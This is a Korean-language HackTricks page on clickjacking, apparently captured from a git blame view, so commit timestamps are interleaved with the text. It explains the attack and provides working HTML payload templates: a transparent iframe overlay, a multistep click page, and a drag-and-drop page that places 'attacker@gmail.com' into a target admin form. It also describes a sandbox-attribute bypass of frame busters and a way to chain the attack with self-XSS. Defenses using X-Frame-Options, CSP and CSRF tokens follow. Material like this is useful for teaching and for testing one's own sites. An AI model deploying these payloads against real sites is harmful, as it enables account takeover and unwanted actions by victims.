2024-02-10 21:30:13 +00:00
# 클릭재킹
2022-04-28 16:01:33 +00:00
< details >
2024-03-29 21:25:26 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!< / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:25:17 +00:00
2024-03-29 21:25:26 +00:00
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop)를 확인하세요!
2024-03-17 16:41:54 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-03-29 21:25:26 +00:00
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )를 **팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) 깃허브 저장소에 제출하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-29 21:25:26 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-03-29 21:25:26 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
2024-02-10 21:30:13 +00:00
오늘 바로 액세스하세요:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 21:30:13 +00:00
## 클릭재킹이란
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
클릭재킹 공격에서 **사용자**는 **웹페이지**에서 **보이지 않는** 또는 다른 요소로 위장한 **요소**를 **클릭**하도록 **속일** 수 있습니다. 이 조작은 사용자에게 의도하지 않은 결과를 초래할 수 있으며, 악성 소프트웨어 다운로드, 악의적인 웹페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 자금 이체 또는 온라인 제품 구매 등이 포함될 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
### 양식 미리 채우기 트릭
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
가끔은 **페이지를 로드할 때 GET 매개변수를 사용하여 양식 필드의 값을 채울 수 있습니다** . 공격자는 이 동작을 악용하여 임의의 데이터로 양식을 채우고 사용자가 제출 버튼을 누르도록 클릭재킹 페이로드를 보낼 수 있습니다.
2020-10-13 11:29:54 +00:00
2024-03-29 21:25:26 +00:00
### 드래그 앤 드롭으로 양식 채우기
2020-10-13 11:29:54 +00:00
2024-03-29 21:25:26 +00:00
사용자에게 **양식을 채우도록** 요청하지만 특정 정보(예: 이메일 또는 특정 암호)를 직접 입력하도록 요구하지 않으려면, 사용자에게 **드래그 앤 드롭**하여 [**이 예제** ](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이 제어된 데이터를 작성할 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
### 기본 페이로드
2020-07-15 15:43:14 +00:00
```markup
< style >
2024-02-10 21:30:13 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
2020-07-15 15:43:14 +00:00
< / style >
< div > Click me< / div >
< iframe src = "https://vulnerable.com/email?email=asd@asd.asd" > < / iframe >
```
2024-02-10 21:30:13 +00:00
### 다단계 페이로드
2020-07-15 15:43:14 +00:00
```markup
< style >
2024-02-10 21:30:13 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
2020-07-15 15:43:14 +00:00
< / style >
< div class = "firstClick" > Click me first< / div >
< div class = "secondClick" > Click me next< / div >
< iframe src = "https://vulnerable.net/account" > < / iframe >
```
2024-03-17 16:41:54 +00:00
### 드래그\&드롭 + 클릭 페이로드
2020-10-13 11:29:54 +00:00
```markup
< html >
< head >
< style >
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00 ;
}
< / style >
< / head >
< body >
< div style = "height: 26px;width: 250px;left: 41.5%;top: 340px;" class = "xss" > .< / div >
< div style = "height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F ;" class = "xss" > 1. Click and press delete button</ div >
< div style = "height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F ;" class = "xss" > 3.Click me</ div >
< iframe sandbox = "allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style = "opacity:0.3" src = "https://target.com/panel/administration/profile/" > < / iframe >
< div id = "payload" draggable = "true" ondragstart = "event.dataTransfer.setData('text/plain', 'attacker@gmail.com')" > < h3 > 2.DRAG ME TO THE RED BOX< / h3 > < / div >
< / body >
< / html >
```
2024-03-17 16:41:54 +00:00
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
2024-03-29 21:25:26 +00:00
**XSS를 식별**하고 사용자가 클릭해야만 **XSS를 트리거**하는 **공격**을 식별했으며 페이지가 **Clickjacking에 취약**한 경우, 사용자를 속여 버튼/링크를 클릭하도록 유도할 수 있습니다.\
2024-02-10 21:30:13 +00:00
예시:\
2024-03-29 21:25:26 +00:00
_계정의 일부 개인 정보( **당신만 설정하고 읽을 수 있는** 정보)에서 **self XSS**를 발견했습니다. 이러한 세부 정보를 설정하는 **양식**이 **Clickjacking에 취약**하며 GET 매개변수로 **양식을 미리 채울 수 있습니다.**_\
\_\_공격자는 **Clickjacking** 공격을 준비하여 **XSS 페이로드로 양식을 미리 채우고** 사용자를 속여 **양식을 제출**하도록 유도할 수 있습니다. 따라서 **양식이 제출되고 값이 수정되면 사용자가 XSS를 실행**할 것입니다.
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
## Clickjacking 방지 전략
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
### 클라이언트 측 방어
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
클라이언트 측에서 실행되는 스크립트는 Clickjacking을 방지하기 위한 조치를 취할 수 있습니다:
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
* 응용 프로그램 창이 주 창 또는 최상위 창인지 확인
* 모든 프레임을 표시
* 보이지 않는 프레임에서의 클릭 방지
* 사용자에게 Clickjacking 시도를 감지하고 경고
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
그러나 이러한 프레임 방지 스크립트는 우회될 수 있습니다:
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
* **브라우저의 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
* **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-forms` 또는 `allow-scripts` 값을 가진 `sandbox` 속성을 설정하여 `allow-top-navigation` 없이 프레임 버스터 스크립트를 중화할 수 있습니다. 이렇게 하면 iframe이 최상위 창인지 확인하지 못하게 됩니다.
2024-02-06 03:10:38 +00:00
```html
2020-07-15 15:43:14 +00:00
< iframe id = "victim_website" src = "https://victim-website.com" sandbox = "allow-forms allow-scripts" > < / iframe >
```
2024-02-10 21:30:13 +00:00
### 서버 측 방어
2020-07-15 15:43:14 +00:00
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
2020-07-15 15:43:14 +00:00
2024-03-29 21:25:26 +00:00
**`X-Frame-Options` HTTP 응답 헤더**는 `<frame>` 또는 `<iframe>` 에서 페이지를 렌더링할 수 있는 적법성에 대해 브라우저에 알려주어 Clickjacking을 방지하는 데 도움이 됩니다:
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
- `X-Frame-Options: deny` - 어떤 도메인도 콘텐츠를 프레임화할 수 없음.
- `X-Frame-Options: sameorigin` - 현재 사이트만 콘텐츠를 프레임화할 수 있음.
- `X-Frame-Options: allow-from https://trusted.com` - 지정된 'uri'만 페이지를 프레임화할 수 있음.
- 주의할 점: 브라우저가 이 지시문을 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시문을 선호합니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
#### Content Security Policy (CSP) frame-ancestors 지시문
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**CSP의 `frame-ancestors` 지시문**은 Clickjacking 보호를 위한 권장 방법입니다:
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
- `frame-ancestors 'none'` - `X-Frame-Options: deny` 와 유사합니다.
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` 과 유사합니다.
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` 과 유사합니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
예를 들어, 다음 CSP는 동일한 도메인에서만 프레임화를 허용합니다:
2020-07-15 15:43:14 +00:00
`Content-Security-Policy: frame-ancestors 'self';`
2024-03-29 21:25:26 +00:00
더 자세한 내용 및 복잡한 예제는 [frame-ancestors CSP 문서 ](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors ) 및 [Mozilla의 CSP frame-ancestors 문서 ](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors )에서 찾을 수 있습니다.
2024-02-06 03:10:38 +00:00
2024-03-29 21:25:26 +00:00
### Content Security Policy (CSP)에서 `child-src` 및 `frame-src` 사용
2024-02-06 03:10:38 +00:00
2024-03-17 16:41:54 +00:00
**Content Security Policy (CSP)**는 브라우저가 콘텐츠를로드 할 수 있는 소스를 지정하여 Clickjacking 및 기타 코드 삽입 공격을 방지하는 보안 조치입니다.
2024-02-06 03:10:38 +00:00
2024-02-10 21:30:13 +00:00
#### `frame-src` 지시문
2024-03-17 16:41:54 +00:00
- 프레임의 유효한 소스를 정의합니다.
2024-02-10 21:30:13 +00:00
- `default-src` 지시문보다 구체적입니다.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
2024-03-17 16:41:54 +00:00
이 정책은 동일 출처(self) 및 https://trusted-website.com에서 프레임을 허용합니다.
2024-02-06 03:10:38 +00:00
2024-02-10 21:30:13 +00:00
#### `child-src` 지시문
2024-03-17 16:41:54 +00:00
* CSP 레벨 2에서 소개되어 웹 워커 및 프레임의 유효 소스를 설정합니다.
* frame-src 및 worker-src의 대체 수단으로 작용합니다.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
2024-03-17 16:41:54 +00:00
이 정책은 동일 출처(self) 및 https://trusted-website.com에서 프레임 및 워커를 허용합니다.
2024-02-06 03:10:38 +00:00
2024-02-10 21:30:13 +00:00
**사용 노트:**
2024-02-06 03:10:38 +00:00
2024-03-17 16:41:54 +00:00
* 폐기 예정: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
* 대체 동작: frame-src가 없는 경우 frames의 대체로 child-src가 사용됩니다. 둘 다 없는 경우 default-src가 사용됩니다.
* 엄격한 소스 정의: 악용을 방지하려면 지시문에 신뢰할 수 있는 소스만 포함하십시오.
#### JavaScript 프레임 방지 스크립트
2024-02-06 03:10:38 +00:00
2024-03-29 21:25:26 +00:00
완벽하진 않지만 JavaScript 기반의 프레임 방지 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예시:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 21:30:13 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-03-17 16:41:54 +00:00
#### 안티 CSRF 토큰 활용
2020-07-15 15:43:14 +00:00
2024-03-17 16:41:54 +00:00
* **토큰 유효성 검사:** 웹 애플리케이션에서 안티 CSRF 토큰을 사용하여 사용자가 의도적으로 상태 변경 요청을 수행하고 Clickjacked 페이지를 통해 수행되지 않도록 보장합니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## 참고 자료
2020-07-15 15:43:14 +00:00
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking** ](https://portswigger.net/web-security/clickjacking )
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html** ](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html )
2022-04-28 16:01:33 +00:00
2024-03-29 21:25:26 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-03-29 21:25:26 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks )를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
2024-02-10 21:30:13 +00:00
오늘 바로 액세스하세요:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-29 21:25:26 +00:00
< summary > < strong > 제로부터 AWS 해킹을 전문가로 학습하세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:25:17 +00:00
2024-03-29 21:25:26 +00:00
* **회사를 HackTricks에서 홍보하거나 PDF로 다운로드하려면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
2024-03-17 16:41:54 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나**트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
2024-03-29 21:25:26 +00:00
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >